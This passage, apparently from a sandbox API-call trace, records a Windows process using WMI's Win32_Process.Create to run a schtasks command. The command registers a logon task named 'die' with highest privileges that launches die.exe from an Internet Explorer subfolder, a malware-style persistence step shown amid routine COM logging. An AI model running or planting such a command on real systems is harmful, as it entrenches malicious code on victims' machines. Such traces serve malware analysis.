This=0x1bf70460, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0076.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70460, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0076.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70460, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bfa7990) returned 0x0 [0076.695] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa7990, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0076.696] WbemDefPath:IUnknown:Release (This=0x1bfa7990) returned 0x3 [0076.696] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0076.696] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0076.696] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70460, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0076.696] WbemDefPath:IUnknown:Release (This=0x1bf70460) returned 0x2 [0076.696] WbemDefPath:IUnknown:Release (This=0x1bf70460) returned 0x1 [0076.696] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0076.696] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0076.696] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70460, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf70460) returned 0x0 [0076.696] WbemDefPath:IUnknown:AddRef (This=0x1bf70460) returned 0x3 [0076.696] WbemDefPath:IUnknown:Release (This=0x1bf70460) returned 0x2 [0076.696] WbemDefPath:IWbemPath:SetText (This=0x1bf70460, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0076.696] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf703a0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0076.696] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf70460, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0076.696] WbemDefPath:IWbemPath:GetText (in: This=0x1bf70460, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0076.696] WbemDefPath:IWbemPath:GetText (in: This=0x1bf70460, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0076.696] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf703a0) returned 0x0 [0076.696] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf70460, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0076.696] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf70460, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0076.696] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf70460, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0076.697] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf703a0, uIndex=0x0, pszName="root") returned 0x0 [0076.697] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf70460, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0076.697] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf70460, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0076.697] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf703a0, uIndex=0x1, pszName="cimv2") returned 0x0 [0076.697] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf70460, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0076.697] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf70460, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0076.697] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf703a0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0076.697] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf703a0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0076.697] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf703a0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0076.697] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6ffe0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0076.697] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ffe0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0076.697] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ffe0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0076.697] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6ffe0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0076.697] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ffe0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0076.697] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ffe0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0076.711] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf703a0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0076.711] WbemDefPath:IWbemPath:GetText (in: This=0x1bf703a0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0076.711] WbemDefPath:IWbemPath:GetText (in: This=0x1bf703a0, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0076.711] WbemDefPath:IWbemPath:GetText (in: This=0x1bf703a0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0076.711] WbemDefPath:IWbemPath:GetText (in: This=0x1bf703a0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0076.712] IWbemServices:GetObject (in: This=0x1bf8c370, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x11fd4e0, ppCallResult=0x0) returned 0x0 [0076.721] IWbemClassObject:GetMethod (in: This=0x11fd4e0, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x11fd850, ppOutSignature=0x1b2fd9e0*=0x11fdbc0) returned 0x0 [0076.722] IWbemClassObject:SpawnInstance (in: This=0x11fd850, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf6b9f0) returned 0x0 [0076.722] IWbemClassObject:Get (in: This=0x1bf6b9f0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a38f68*=0, plFlavor=0x2a38f6c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a38f68*=8, plFlavor=0x2a38f6c*=32) returned 0x0 [0076.722] IWbemClassObject:Get (in: This=0x1bf6b9f0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a38f68*=8, plFlavor=0x2a38f6c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a38f68*=8, plFlavor=0x2a38f6c*=32) returned 0x0 [0076.723] IWbemClassObject:Put (This=0x1bf6b9f0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"die\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0076.723] IWbemClassObject:Get (in: This=0x1bf6b9f0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a38ff8*=0, plFlavor=0x2a38ffc*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a38ff8*=13, plFlavor=0x2a38ffc*=32) returned 0x0 [0076.723] IWbemClassObject:Get (in: This=0x1bf6b9f0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a38ff8*=13, plFlavor=0x2a38ffc*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a38ff8*=13, plFlavor=0x2a38ffc*=32) returned 0x0 [0076.723] IUnknown:QueryInterface (in: This=0x11fce00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x11fce00) returned 0x0 [0076.723] IUnknown:QueryInterface (in: This=0x11fce00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0076.723] IUnknown:QueryInterface (in: This=0x11fce00, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0076.724] IUnknown:AddRef (This=0x11fce00) returned 0x3 [0076.724] IUnknown:QueryInterface (in: This=0x11fce00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0076.724] IUnknown:QueryInterface (in: This=0x11fce00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0076.724] IUnknown:QueryInterface (in: This=0x11fce00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x11fce08) returned 0x0 [0076.724] IMarshal:GetUnmarshalClass (in: This=0x11fce08, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0076.724] IUnknown:Release (This=0x11fce08) returned 0x3 [0076.724] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0076.724] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0076.724] IUnknown:QueryInterface (in: This=0x11fce00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0076.724] IUnknown:Release (This=0x11fce00) returned 0x2 [0076.724] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0076.724] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0076.724] IUnknown:QueryInterface (in: This=0x11fce00, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0076.725] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0076.725] IUnknown:QueryInterface (in: This=0x11fce00, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0076.725] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0076.725] IUnknown:AddRef (This=0x11fce00) returned 0x3 [0076.725] IWbemClassObject:Put (This=0x1bf6b9f0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11fce00, varVal2=0x0), Type=0) returned 0x0 [0076.725] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf700a0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0076.725] WbemDefPath:IWbemPath:GetText (in: This=0x1bf700a0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0076.725] WbemDefPath:IWbemPath:GetText (in: This=0x1bf700a0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0076.725] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6ffe0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0076.725] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ffe0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0076.725] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ffe0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0076.725] WbemDefPath:IWbemPath:GetText (in: This=0x1bf700a0, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0076.725] WbemDefPath:IWbemPath:GetText (in: This=0x1bf700a0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0076.726] IWbemServices:ExecMethod (in: This=0x1bf8c370, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf6b9f0, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf6bca0, ppCallResult=0x0) returned 0x0 [0077.091] IWbemClassObject:Get (in: This=0x1bf6bca0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a39310*=0, plFlavor=0x2a39314*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc84, varVal2=0x0), pType=0x2a39310*=19, plFlavor=0x2a39314*=0) returned 0x0 [0077.092] IWbemClassObject:Get (in: This=0x1bf6bca0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a39310*=19, plFlavor=0x2a39314*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc84, varVal2=0x0), pType=0x2a39310*=19, plFlavor=0x2a39314*=0) returned 0x0 [0077.093] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0077.093] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0077.093] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0077.093] IUnknown:Release (This=0x111f638) returned 0x1 [0077.095] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bfa7b90) returned 0x0 [0077.095] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa7b90, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0077.095] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa7b90, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf70520) returned 0x0 [0077.095] WbemDefPath:IUnknown:Release (This=0x1bfa7b90) returned 0x0 [0077.096] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70520, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf70520) returned 0x0 [0077.096] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70520, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0077.096] WbemDefPath:IUnknown:AddRef (This=0x1bf70520) returned 0x3 [0077.096] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70520, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0077.096] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70520, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0077.096] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70520, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bfa7bd0) returned 0x0 [0077.096] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa7bd0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0077.096] WbemDefPath:IUnknown:Release (This=0x1bfa7bd0) returned 0x3 [0077.096] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0077.096] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0077.096] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70520, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0077.097] WbemDefPath:IUnknown:Release (This=0x1bf70520) returned 0x2 [0077.097] WbemDefPath:IUnknown:Release (This=0x1bf70520) returned 0x1 [0077.097] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0077.097] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0077.097] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70520, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf70520) returned 0x0 [0077.097] WbemDefPath:IUnknown:AddRef (This=0x1bf70520) returned 0x3 [0077.097] WbemDefPath:IUnknown:Release (This=0x1bf70520) returned 0x2 [0077.097] WbemDefPath:IWbemPath:SetText (This=0x1bf70520, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0077.097] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf70520, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0077.097] WbemDefPath:IWbemPath:GetText (in: This=0x1bf70520, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0077.097] WbemDefPath:IWbemPath:GetText (in: This=0x1bf70520, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0077.097] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf70520, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0077.097] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf70520, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0077.097] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf70520, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0077.097] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0077.098] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, 